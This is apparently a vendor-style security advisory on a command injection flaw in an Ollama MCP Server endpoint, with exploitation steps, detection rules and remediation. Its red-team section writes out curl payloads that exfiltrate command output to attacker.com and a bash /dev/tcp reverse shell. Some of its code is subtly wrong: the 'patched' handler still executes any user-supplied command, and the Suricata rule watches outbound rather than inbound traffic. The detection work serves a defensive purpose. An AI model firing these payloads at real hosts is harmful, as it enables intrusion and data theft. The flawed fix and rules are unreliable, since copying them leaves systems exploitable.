CVE-2025-15063

Executive Summary

CVE-2025-15063 is a critical unauthenticated remote code execution (RCE) vulnerability in the Ollama MCP Server, specifically within the execAsync method. The flaw arises from improper validation of user-supplied strings before they are used in system calls, allowing an attacker to execute arbitrary commands in the context of the service account. With a CVSS score of 9.8, this vulnerability poses a severe threat to confidentiality, integrity, and availability. No public proof-of-concept (PoC) or patch is currently available, and the vendor has not released a fix. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the high impact warrants immediate attention.

Supply Chain & Package Security

This vulnerability affects the Ollama MCP Server, which is part of the Ollama ecosystem. Ollama is a Go-based application for running large language models locally. The MCP (Model Context Protocol) server component is used for inter-process communication. Organizations using Ollama in production or development environments should treat this as a supply chain risk, as the vulnerable component may be distributed via container images or package managers. No official patch or advisory has been released by the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data compromise.
• Integrity Impact: High (I:H) – Full system control.
• Availability Impact: High (A:H) – Service disruption possible.

Threat Level: Critical. The combination of network accessibility, low complexity, and no authentication makes this a prime target for automated exploitation.

Deep Dive & Mechanics

The vulnerability resides in the execAsync method of the Ollama MCP Server. This method is designed to execute system commands asynchronously, likely for tasks such as model management or file operations. The flaw is a classic command injection (CWE-78): user-supplied input is concatenated into a system command string without proper sanitization or escaping.

Root Cause: The execAsync function likely uses a function like exec.Command (Go) or Runtime.getRuntime().exec (Java) with a shell wrapper (e.g., sh -c). When user input is passed directly into the command string, an attacker can inject shell metacharacters (e.g., ;, |, &&, `) to execute arbitrary commands.

Attack Flow:

1. The attacker sends a crafted request to the MCP server endpoint that invokes execAsync.
2. The request includes a malicious payload in a parameter (e.g., command or args).
3. The server concatenates the payload into a system command without validation.
4. The injected command executes with the privileges of the service account (typically a low-privileged user but with network access).

Example Payload (Conceptual):

POST /mcp/execAsync HTTP/1.1
Host: target:8080
Content-Type: application/json

{"command": "ls; curl http://attacker.com/$(whoami)"}

This would execute ls and then exfiltrate the username via a curl request.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Go-like pseudocode):

func execAsyncHandler(w http.ResponseWriter, r *http.Request) {
    var req struct {
        Command string `json:"command"`
    }
    json.NewDecoder(r.Body).Decode(&req)
    cmd := exec.Command("sh", "-c", req.Command) // Vulnerable: direct injection
    cmd.Start()
}

Patched Code (Hypothetical):

func execAsyncHandler(w http.ResponseWriter, r *http.Request) {
    var req struct {
        Command string `json:"command"`
        Args    []string `json:"args"`
    }
    json.NewDecoder(r.Body).Decode(&req)
    // Use exec.Command without shell wrapper
    cmd := exec.Command(req.Command, req.Args...) // Safe: no shell interpretation
    cmd.Start()
}

The patched version avoids the shell wrapper and passes arguments directly, preventing injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Ollama MCP Server (default port 8080 or 11434).
• Network access to the target.

Exploitation Steps:

1. Reconnaissance: Scan for open ports and identify the MCP server endpoint.

   nmap -p 8080,11434 <target>
   

2. Craft Payload: Use command injection to execute arbitrary commands.

   curl -X POST http://<target>:8080/mcp/execAsync \
     -H "Content-Type: application/json" \
     -d '{"command": "id; curl http://attacker.com/$(id)"}'
   

3. Establish Persistence: Create a reverse shell.

   # Attacker listener
   nc -lvnp 4444
   # Payload
   curl -X POST http://<target>:8080/mcp/execAsync \
     -H "Content-Type: application/json" \
     -d '{"command": "bash -i >& /dev/tcp/attacker.com/4444 0>&1"}'
   

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defensive)

Detection & Response:

1. Monitor for Anomalous Requests: Look for POST requests to /mcp/execAsync with suspicious payloads.
2. Network Segmentation: Isolate the MCP server from untrusted networks.
3. Web Application Firewall (WAF): Deploy rules to block command injection patterns.

   # Example Nginx WAF rule
   location /mcp/execAsync {
       if ($request_body ~* "(\||;|`|\$\(|&\&)") {
           return 403;
       }
   }
   

4. Honeypot: Deploy a fake MCP endpoint to capture attacker behavior.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /mcp/execAsync with JSON body containing shell metacharacters.
• Outbound connections to unknown IPs on ports 80, 443, or 4444 (reverse shell).
• DNS queries to suspicious domains (e.g., attacker.com).

Host IOCs:

• Unexpected processes spawned by the service account (e.g., bash, curl, nc).
• Files in /tmp/ with suspicious names (e.g., .exploit.sh).
• Modified system binaries or cron jobs.

Log IOCs:

• Application logs showing execAsync calls with unusual arguments.
• System logs (e.g., /var/log/syslog) showing command execution events.

Detection Engineering

YARA Rule

rule CVE_2025_15063_Ollama_MCP_RCE {
    meta:
        description = "Detects command injection attempts against Ollama MCP Server execAsync"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15063"
    strings:
        $json_payload = /{"command":\s*"[^"]*[;&|`$()][^"]*"}/ nocase
        $shell_meta = /[;&|`$()]/
    condition:
        $json_payload or (uint16(0) == 0x7b7b and $shell_meta) // JSON-like content
}

Sigma Rule

title: CVE-2025-15063 Ollama MCP Server Command Injection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects command injection attempts against Ollama MCP Server execAsync endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/mcp/execAsync'
        cs-content-type: 'application/json'
    keywords:
        - 'command'
        - 'args'
    injection:
        - '|'
        - ';'
        - '`'
        - '$('
        - '&&'
    condition: selection and injection
falsepositives:
    - Legitimate use of shell commands in controlled environments
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-15063 Ollama MCP Server Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/mcp/execAsync"; http_uri;
    content:"application/json"; http_content_type;
    pcre:"/(\|)|(;)|(`)|(\$\(|&&)/Ri";
    sid:10000001;
    rev:1;
    reference:cve,2025-15063;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the MCP Server: If not required, stop and disable the service.

   systemctl stop ollama-mcp
   systemctl disable ollama-mcp
   

2. Network Filtering: Restrict access to the MCP server port (e.g., 8080) to trusted IPs only.

   iptables -A INPUT -p tcp --dport 8080 -s <trusted_network> -j ACCEPT
   iptables -A INPUT -p tcp --dport 8080 -j DROP
   

3. Input Validation: If source code is available, implement input sanitization (e.g., reject shell metacharacters).

Long-Term Fixes:

• Vendor Patch: Await an official patch from Ollama. Monitor their GitHub repository and security advisories.
• Code Hardening: Replace shell-based command execution with safer alternatives (e.g., exec.Command without shell wrapper).
• Runtime Protection: Deploy a Runtime Application Self-Protection (RASP) solution to detect and block injection attempts.

Workaround:

• Use a reverse proxy (e.g., Nginx) to inspect and sanitize requests before they reach the MCP server.

Valters IT